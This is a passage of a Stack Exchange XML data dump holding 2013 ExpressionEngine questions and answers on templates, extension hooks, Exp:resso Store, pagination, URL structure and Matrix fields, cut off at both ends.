[L,QSA]&#xA;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="527" LastEditorUserId="527" LastEditDate="2013-07-03T22:22:40.193" LastActivityDate="2013-07-03T22:22:40.193" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11675" PostTypeId="2" ParentId="11668" CreationDate="2013-07-03T21:25:22.763" Score="1" Body="&lt;p&gt;Would using the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/categories.html&quot; rel=&quot;nofollow&quot;&gt;channel categories tag&lt;/a&gt; allow you to get the results you need?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories &#xA;    channel=&quot;your_channel&quot;&#xA;    show_empty=&quot;no&quot;&#xA;    parent_only=&quot;yes&quot;&#xA;}&#xA;    {category_url_title}&amp;lt;br&amp;gt;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-07-03T21:25:22.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11676" PostTypeId="2" ParentId="11672" CreationDate="2013-07-03T22:39:34.377" Score="0" Body="&lt;p&gt;I also needed to change &quot;system&quot; to the folder that I have renamed for my EE install. That fixed all issues.&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2013-07-03T22:39:34.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11678" PostTypeId="2" ParentId="11660" CreationDate="2013-07-04T00:52:26.817" Score="4" Body="&lt;p&gt;The pagination will display at the top, bottom or top and bottom of the channel entries tag (depending on what you set in the &lt;code&gt;paginate=&quot;&quot;&lt;/code&gt; parameter). It doesn't matter where you place &lt;code&gt;{paginate}&lt;/code&gt; it in the template code itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either use a pagination addon (like AB Pagination) or use Stash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mark Croxton has an example of how he moves his pagination to where he wants using Stash.&lt;br&gt;&#xA;&lt;a href=&quot;https://gist.github.com/croxton/1206694&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/croxton/1206694&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-07-04T00:52:26.817" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11679" PostTypeId="2" ParentId="11662" CreationDate="2013-07-04T00:55:12.000" Score="3" Body="&lt;p&gt;To modify the actual weight of the item so that it adjust things like shipping weight you would need to write an extension (&lt;a href=&quot;https://exp-resso.com/docs/store/extension_hooks.html&quot; rel=&quot;nofollow&quot;&gt;available hooks&lt;/a&gt;) that would adjust the actual values for calculations.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-07-04T00:55:12.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11680" PostTypeId="2" ParentId="11664" CreationDate="2013-07-04T00:57:07.820" Score="1" Body="&lt;p&gt;USPS has separated the International API from Domestic API (&lt;a href=&quot;https://www.usps.com/business/web-tools-apis/rate-calculators-v1-7a.htm&quot; rel=&quot;nofollow&quot;&gt;Docs&lt;/a&gt;) so you would need a new shipping plugin to calculate international rates. In the meantime you can use UPS, FedEx or the Default Shipping Plugin for international orders.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-07-04T00:57:07.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11681" PostTypeId="2" ParentId="11653" CreationDate="2013-07-04T01:02:13.937" Score="0" Body="&lt;p&gt;As Ian mentioned it is not possible out of the box unless you get very creative. If you build a query that grabs the particular SKUs for each product variation in theory you could have a quantity field for each variation. &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/2167/direct-access-to-exp-store-stock-exp-store-stock-options-tables-via-expresso-sto&quot;&gt;Direct access to exp_store_stock exp_store_stock_options tables via Expresso Store tags?&lt;/a&gt; briefly touches on it as does &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/6508/expresso-store-form-created-by-products-tag-i-just-want-to-submit-a-single-sk/6549#6549&quot;&gt;Exp:resso Store form created by products tag - I just want to submit a single SKU&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-07-04T01:02:13.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11682" PostTypeId="2" ParentId="11599" CreationDate="2013-07-04T01:08:12.710" Score="1" Body="&lt;p&gt;You could also use the &lt;a href=&quot;https://exp-resso.com/docs/store/product_form_tag.html&quot; rel=&quot;nofollow&quot;&gt;Product Form Tag&lt;/a&gt; so that you can add multiple items to the cart with a single Add to Cart form and submit button. You would need to have something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:product entry_id=&quot;{subscription_entry_id}&quot;}&#xA;&amp;lt;input type=&quot;hidden&quot; value=&quot;1&quot; name=&quot;item_qty&quot; /&amp;gt;&#xA;{/exp:store:product}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-07-04T01:08:12.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11683" PostTypeId="2" ParentId="11673" CreationDate="2013-07-04T01:11:12.717" Score="0" Body="&lt;p&gt;I guess your starting point should be print_r the array of submitted data, there you can see what field_ids are submitted for Matrix. After that you can get specific field something like this $obj[...][...]. I would also like to know if there is more &quot;nicer&quot; way of doing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit: I added my version of code based on yours&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function entry_submission_end($entry_id, $meta, $data)&#xA;{   &#xA;    //Just for test to see the field_id, you can check this in DB also&#xA;    // image 1&#xA;    print_r($data); //this will output array of submitted data&#xA;&#xA;    //now that we know our matrix field, lets get it unserialized&#xA;    $matrix_field = unserialize(base64_decode($data[&quot;revision_post&quot;][&quot;field_id_3&quot;]));&#xA;&#xA;    //lets print to see what we will get&#xA;    print_r($matrix_field); //this will give result image 2&#xA;&#xA;    // $matrix_field now contains our matrix array, so you can use it...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;image 1: &lt;a href=&quot;http://cl.ly/image/381i0k0v3C18&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/image/381i0k0v3C18&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;image 2: &lt;a href=&quot;http://cl.ly/image/0V2A3F0x2Z3o&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/image/0V2A3F0x2Z3o&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to manipulate matrix data, don't forget to use &lt;code&gt;base64_encode(serialize($your_new_matrix_data));&lt;/code&gt; to get it back to initial format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm really new to all this, so maybe some add-on developer could provide better solution, but I think there is no need you to make another query to get data that are already there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;let me know if it helps&lt;/p&gt;&#xA;" OwnerUserId="281" LastEditorUserId="281" LastEditDate="2013-07-04T13:07:27.217" LastActivityDate="2013-07-04T13:07:27.217" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11684" PostTypeId="1" AcceptedAnswerId="11694" CreationDate="2013-07-04T02:17:10.867" Score="5" ViewCount="530" Body="&lt;p&gt;In the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extensions.html&quot; rel=&quot;noreferrer&quot;&gt;documentation&lt;/a&gt; the code to add enable extension hooks is like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = array(&#xA;    'class'     =&amp;gt; __CLASS__,&#xA;    'method'    =&amp;gt; 'truncate_this',&#xA;    'hook'      =&amp;gt; 'typography_parse_type_end',&#xA;    'settings'  =&amp;gt; serialize($this-&amp;gt;settings),&#xA;    'priority'  =&amp;gt; 10,&#xA;    'version'   =&amp;gt; $this-&amp;gt;version,&#xA;    'enabled'   =&amp;gt; 'y'&#xA;);&#xA;&#xA;ee()-&amp;gt;db-&amp;gt;insert('extensions', $data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So to add multiple hooks to one extension, then should I just simply repeat that code as many times as I wish??&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data1 = array(&#xA;  ...&#xA;);&#xA;&#xA;ee()-&amp;gt;db-&amp;gt;insert('extensions', $data1);&#xA;&#xA;$data2 = array(&#xA;  ...&#xA;);&#xA;&#xA;ee()-&amp;gt;db-&amp;gt;insert('extensions', $data2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-07-04T10:16:38.540" Title="Multiple Hooks, One Extension" Tags="|extension|hook|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11685" PostTypeId="2" ParentId="11663" CreationDate="2013-07-04T03:21:10.820" Score="-1" Body="&lt;p&gt;You should put the P&amp;amp;T drop down field's option as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Alabama&#xA;Alaska&#xA;Arizona&#xA;Arkansas&#xA;California&#xA;Colorado&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-07-04T03:21:10.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11686" PostTypeId="2" ParentId="11597" CreationDate="2013-07-04T03:30:11.713" Score="2" Body="&lt;p&gt;I would suggest you just to use pages module for Products channel and enter the random string into Page URI of Pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it wouldn't be good approach to generate and enter a URI (like /products/xA39sZ7s) containing random string into Page URI each time while editing or publishing an entry.&#xA;To overcome it, just develop a small extension which will do update Page URI while editing or publishing the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now your site product urls will be like domain.com/products/xA39sZ7s/.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope, it would help you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-07-04T03:30:11.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11687" PostTypeId="2" ParentId="11638" CreationDate="2013-07-04T05:48:01.283" Score="0" Body="&lt;p&gt;Ok for future reference, this is how I did it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;&#xA;                {exp:playa:children field='cf_paper_brand' var_prefix=&quot;brand&quot;}&#xA;                    {exp:low_variables:parse var=&quot;lv_links_{brand:url_title}&quot; var_prefix=&quot;brand_links&quot;}&#xA;                             ****** B- {brand_links:link_text}{brand_links:link_description}&#xA;                    {/exp:low_variables:parse}&#xA;                {/exp:playa:children}             &#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Predictably, this seems obvious now.&lt;/p&gt;&#xA;" OwnerUserId="1532" LastActivityDate="2013-07-04T05:48:01.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11688" PostTypeId="1" AcceptedAnswerId="11691" CreationDate="2013-07-04T06:26:25.313" Score="2" ViewCount="273" Body="&lt;p&gt;I have a set of templates in my default template group called &quot;home&quot;.&lt;br&gt;&#xA;These templates are &quot;about&quot;, &quot;contact-us&quot;, &quot;membership&quot; and of course &quot;index&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only the &quot;index&quot; template will display without the name of the group in the url.&lt;br&gt;&#xA;PASS: example.com/&lt;br&gt;&#xA;PASS: example.com/home/about&lt;br&gt;&#xA;FAIL: (404) example.com/about&lt;br&gt;&#xA;PASS: example.com/membership&lt;br&gt;&#xA;FAIL: (404) example.com/home/membership  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tested this with and without an &quot;index.php&quot; .htaccess re-write. No luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Details: Brand new EE 2.6.1 install on stable cPanel server.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've never seen this happen before.&lt;br&gt;&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1134" LastActivityDate="2013-07-04T09:47:33.940" Title="Templates in default group not displaying unless group name is in the URL" Tags="|ee2|templates|url|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11689" PostTypeId="1" CreationDate="2013-07-04T08:07:06.110" Score="0" ViewCount="121" Body="&lt;p&gt;Is it possible to set a from name to system generated emails - at the moment the from field is just the email address. Would be nice to be able to tidy that up if at all possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The control panel setting page at Admin &gt; Email Configuration doesn't seem to allow this, but you can change the from address in the field titled 'Return email address for auto-generated emails'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks in advance for your help.&lt;/p&gt;&#xA;" OwnerUserId="785" LastActivityDate="2013-10-02T14:46:54.143" Title="Set From Name to system generate emails" Tags="|email|settings|config|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11690" PostTypeId="2" ParentId="11673" CreationDate="2013-07-04T08:52:12.423" Score="1" Body="&lt;p&gt;One solution I've come up with is to pull the rows directly out of the database. This works but seems like there should be an api or hook to do this still in the event the Matrix code gets refactored. I can also see that it's an unnecessary database query since you are saving the data then re-accessing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is an example with some hardcoded Matrix col_id and field_id values.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function entry_submission_end($entry_id, $meta, $data)&#xA;{   &#xA;    $query = ee()-&amp;gt;db-&amp;gt;from('matrix_data')&#xA;        -&amp;gt;select('col_id_362 status, col_id_363 email')&#xA;        -&amp;gt;where('field_id', 911)&#xA;        -&amp;gt;where('entry_id', $entry_id);&#xA;&#xA;    $result = $query-&amp;gt;get()-&amp;gt;result();&#xA;&#xA;    foreach ($result as $row) &#xA;    {&#xA;        error_log($row-&amp;gt;status);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="565" LastActivityDate="2013-07-04T08:52:12.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11691" PostTypeId="2" ParentId="11688" CreationDate="2013-07-04T09:47:33.940" Score="5" Body="&lt;p&gt;This is as a result of the Strict URLs feature being &lt;a href=&quot;http://ellislab.com/blog/entry/expressionengine-2.6-and-strict-urls&quot;&gt;enabled by default in EE2.6+&lt;/a&gt; (previously it was opt-in, now it's opt-out). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want the old behaviour back you can change it in &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/design/templates/global_template_preferences.html#strict-urls&quot;&gt;Global Template Preferences&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="104" LastActivityDate="2013-07-04T09:47:33.940" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11692" PostTypeId="2" ParentId="11634" CreationDate="2013-07-04T09:52:43.823" Score="1" Body="&lt;p&gt;Devot-ee + Google = your friend:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/ldap-authentication&quot; rel=&quot;nofollow&quot;&gt;LDAP Authentication by Design by Front on Devot-ee (free)&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an aside, generally if you're looking for an add-on you are best off starting by searching Devot-ee first, as it basically has everything the community has released.&lt;/p&gt;&#xA;" OwnerUserId="104" LastActivityDate="2013-07-04T09:52:43.823" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11693" PostTypeId="1" AcceptedAnswerId="11695" CreationDate="2013-07-04T09:55:36.867" Score="0" ViewCount="103" Body="&lt;p&gt;I am trying to send a private message using &lt;a href=&quot;http://www.intoeetive.com/docs/messaging.html&quot; rel=&quot;nofollow&quot;&gt;http://www.intoeetive.com/docs/messaging.html&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:messaging:pm_compose&#xA;    class=&quot;form-horizontal&quot;&#xA;    return=&quot;SAME_PAGE&quot;&#xA;    save_sent=&quot;yes&quot;&#xA;    skip_success_message=&quot;yes&quot; &#xA;}&#xA;    &amp;lt;fieldset&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;recipients&quot; value='{exp:channel:entries channel=&quot;profiles&quot; entry_id=&quot;{segment_2}&quot;}{screen_name}{/exp:channel:entries}'/&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;subject&quot; value=&quot;&quot;/&amp;gt;&#xA;        &amp;lt;textarea class=&quot;span12&quot; rows=&quot;5&quot; name=&quot;message&quot; id=&quot;message&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;        &amp;lt;button type=&quot;submit&quot; class=&quot;btn&quot;&amp;gt;Send Message&amp;lt;/button&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;{/exp:messaging:pm_compose}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I go to the page that contains the above code, I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;You are not authorized to perform this action&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using Safecracker Registration -- and that's why I have to get the &lt;code&gt;{screen_name}&lt;/code&gt; that way (it gets it correctly). Any idea what's going on?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-07-04T11:06:29.340" Title="Messaging Addon: You are not authorized to perform this action" Tags="|add-on|addons|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11694" PostTypeId="2" ParentId="11684" CreationDate="2013-07-04T10:16:38.540" Score="10" Body="&lt;p&gt;Yes. For example....&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $hooks = array(&#xA;        &quot;template_fetch_template&quot; =&amp;gt; &quot;template_fetch_template&quot;,&#xA;        &quot;typography_parse_type_end&quot; =&amp;gt; &quot;typography_parse_type_end&quot;&#xA;    );&#xA;&#xA;    foreach ($hooks as $hook =&amp;gt; $method) {&#xA;        $data = array(&#xA;            'class' =&amp;gt; __CLASS__,&#xA;            'method' =&amp;gt; $method,&#xA;            'hook' =&amp;gt; $hook,&#xA;            'settings' =&amp;gt; &quot;&quot;,&#xA;            'priority' =&amp;gt; 10,&#xA;            'version' =&amp;gt; $this-&amp;gt;version,&#xA;            'enabled' =&amp;gt; 'y'&#xA;        );&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;insert($this-&amp;gt;EE-&amp;gt;db-&amp;gt;dbprefix . 'extensions', $data);&#xA;    }//###   End of foreach   ###&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-07-04T10:16:38.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11695" PostTypeId="2" ParentId="11693" CreationDate="2013-07-04T11:06:29.340" Score="0" Body="&lt;p&gt;The user was not in a member group that could send private messages. Problem solved.&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-07-04T11:06:29.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11696" PostTypeId="2" ParentId="11689" CreationDate="2013-07-04T12:23:46.017" Score="0" Body="&lt;p&gt;Haven't tested this, but it &lt;em&gt;should&lt;/em&gt; work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;Your Name&quot; &amp;lt;email@address.com&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-07-04T12:23:46.017" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11697" PostTypeId="1" AcceptedAnswerId="11732" CreationDate="2013-07-04T16:38:01.047" Score="2" ViewCount="138" Body="&lt;p&gt;Is it possible to prevent Store from updating mapped fields during checkout unless an option to update is selected? Specifically billing and shipping addresses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using exp:user to allow a user to save a default billing and shipping address in their account. These are mapped to Store's order fields and everything works hunky-dory, except default behavior for Store is to update these details if they're changed during checkout (as detailed as a &quot;remember my details&quot; feature here: &lt;a href=&quot;https://exp-resso.com/docs/store/settings_order_fields.html&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/store/settings_order_fields.html&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would only like to update the mapped fields if an option in the checkout is checked. Something along the lines of an &quot;update my default billing/shipping address&quot; option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks for any help.&lt;/p&gt;&#xA;" OwnerUserId="1731" LastEditorUserId="104" LastEditDate="2013-07-05T10:52:59.163" LastActivityDate="2013-07-07T20:57:39.370" Title="Exp:resso Store - Prevent updating mapped member fields from checkout" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11698" PostTypeId="1" AcceptedAnswerId="11703" CreationDate="2013-07-04T20:59:36.290" Score="1" ViewCount="1172" Body="&lt;p&gt;I'm struggling to understand what is the &quot;proper&quot; way to build URLs in EE. I think I want my URLs to be built in such a way that it can take advantage of EE's &lt;code&gt;dyanamic=&quot;yes&quot;&lt;/code&gt;, etc. Right now, I can build URLs and use certain segments to display the content I want, but I'm not sure if I am doing it correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say I am building a simple forum. I have a Channel &lt;code&gt;forum_topics&lt;/code&gt; which has Categories. I want to do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Display a page with a list of categories. Each category will link to a list of Channel entries with that category. &lt;strong&gt;Also, ideally, I'd like to list the last 10 entries for each category on this page. Is this possible?&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Display a list of Channel entries for a given category. Each channel entry will link to that entry's single entry page. &lt;/li&gt;&#xA;&lt;li&gt;Display the single entry page.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I can do it, but I'm just not sure if I am doing it the &quot;EE way.&quot; Here are the snippets of how I'm doing it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1. FIRST template: loop through categories, create list of links to SECOND template&#xA;&#xA;    {exp:channel:categories&#xA;        category_group=&quot;1&quot;&#xA;        status=&quot;open&quot;&#xA;        style=&quot;linear&quot;&#xA;    }&#xA;        &amp;lt;a href=&quot;/forums/{category_id}/&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&#xA;    {/exp:channel:categories}&#xA;&#xA;&#xA;2. SECOND template: use segment_2 in {exp:channel:entries}, set {entry_id} as 3rd segment&#xA;&#xA;    {exp:channel:entries&#xA;        category=&quot;{segment_2}&quot;&#xA;        channel=&quot;forum_topics&quot;&#xA;    }&#xA;&#xA;        &amp;lt;a href=&quot;{url_title_path='/forums/topics/{entry_id}/'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;    {/exp:channel:entries}&#xA;&#xA;&#xA;3. THIRD template: use segment_3&#xA;&#xA;    {exp:channel:entries&#xA;        channel=&quot;forum_topics&quot;&#xA;        entry_id=&quot;{segment_3}&quot;&#xA;    }&#xA;&#xA;        &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2013-07-04T22:02:39.903" LastActivityDate="2013-07-05T00:42:31.550" Title="Proper way to build URLs?" Tags="|channel-entries|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11699" PostTypeId="2" ParentId="11660" CreationDate="2013-07-04T22:01:59.840" Score="-1" Body="&lt;p&gt;I'm guessing this is more to do with a problem with your HTML (such as a tag that hasn't been closed or has been incorrectly nested) or, more likely, your CSS and quite possibly related to floated or absolutely position elements.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-07-04T22:01:59.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11700" PostTypeId="2" ParentId="11671" CreationDate="2013-07-04T22:33:05.560" Score="0" Body="&lt;p&gt;So, this is dirty, but seems to be working locally anyway.  There may be much tidier solutions but they escape me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your home template, try using something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2}&#xA;    {embed=&quot;{segment_2}&quot; target=&quot;{segment_1}&quot; /}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This assumes you have a template group with the template set in segment 2 (i.e. details, dates, etc.).  It may be prudent to add some additional logic to ensure the request is valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, again assuming you only want one entry on the details page, you can use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if embed:target}&#xA;    {exp:channel:entries channel=&quot;items&quot; limit=&quot;1&quot; url_title=&quot;{embed:target}&quot;}&#xA;        Some code...&#xA;    {/exp:channel:entries}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Theory being that all requests to non-existent stuff gets forwarded to the home template (so the old paths of /details/item &lt;em&gt;should&lt;/em&gt; still work).  Then the home template picks them up and embeds the template you actually want.&lt;/p&gt;&#xA;" OwnerUserId="900" LastEditorUserId="900" LastEditDate="2013-07-05T08:01:49.520" LastActivityDate="2013-07-05T08:01:49.520" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11701" PostTypeId="1" CreationDate="2013-07-04T23:07:30.447" Score="1" ViewCount="116" Body="&lt;p&gt;So I have 2 channels:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Channel NEIGHBORHOOD has a Matrix Field called &quot;neighbors&quot; and it gathers a list of people's names and info on them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Channel EVENTS has a Matrix field called &quot;guests&quot; and I want to have a drop down that pulls all the neighbor names into a drop down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried making the Matrix cell a Playa field but it pulls in only the neighborhood title.&#xA;I tried P&amp;amp;T Dropdown but it was manual entry of the drop down options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to get the values from 1 Matrix column into a dropdown select for another Matrix field column??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OR &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this even possible w/out Matrix - I tried a new Playa/Relationship/Select field and none allowed me to do this at all... They all seem to only use the title. &lt;/p&gt;&#xA;" OwnerUserId="1733" LastActivityDate="2013-07-04T23:07:30.447" Title="get the values from 1 Matrix column into a dropdown select for another Matrix field column in another Channel" Tags="|matrix|playa|drop-down|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11702" PostTypeId="1" AcceptedAnswerId="11798" CreationDate="2013-07-05T00:14:00.427" Score="1" ViewCount="202" Body="&lt;p&gt;I'm allowing members to upload images. Is there a way to tell EE that the uploaded files should be assigned a randomized filename? I need this feature for privacy reasons and to prevent collisions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Safecracker and Matrix, if that matters.&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-07-09T18:35:24.250" Title="Randomize Filenames of Uploaded Files" Tags="|file-uploads|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11703" PostTypeId="2" ParentId="11698" CreationDate="2013-07-05T00:42:31.550" Score="4" Body="&lt;p&gt;I wouldn't say that there is a right or wrong way to go about this (as long as you keep an eye on performance bottlenecks in the template debugger, which you should be doing all the time anyway)... Whilst EE does have some built-in ways of interpreting your URLs (&lt;a href=&quot;http://www.jamessmith.co.uk/articles/expressionengine_url_schematic&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.jamessmith.co.uk/articles/expressionengine_url_schematic&lt;/a&gt;) there's no reason you have to use those ways, and if your templates are working the way you want and they're efficient then there's no need to change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that said...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For listing entries by category you can use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/category_archive.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Category Archive&lt;/a&gt; tag. It's one of the worst tags available in EE as it's both lacking in power/features and is quite inefficient... but there you go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's &quot;the EE way&quot; of setting this up...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your first template, the category links would link to standard category pages - by which I mean URLs that contain either the category trigger word (as defined in your settings), or a category identifier, that looks for example like &quot;C5&quot;. You can do this automatically using the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/categories.html#path&quot; rel=&quot;nofollow noreferrer&quot;&gt;{path...}&lt;/a&gt; variable. This allows your second template to automatically filter your channel entries so you won't need to specify &lt;code&gt;category=&quot;{segment_2}&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your second template's links you could simply use &lt;code&gt;{entry_id_path=forums/topics}&lt;/code&gt; or &lt;code&gt;{url_title_path=forums/topics}&lt;/code&gt; - I'd 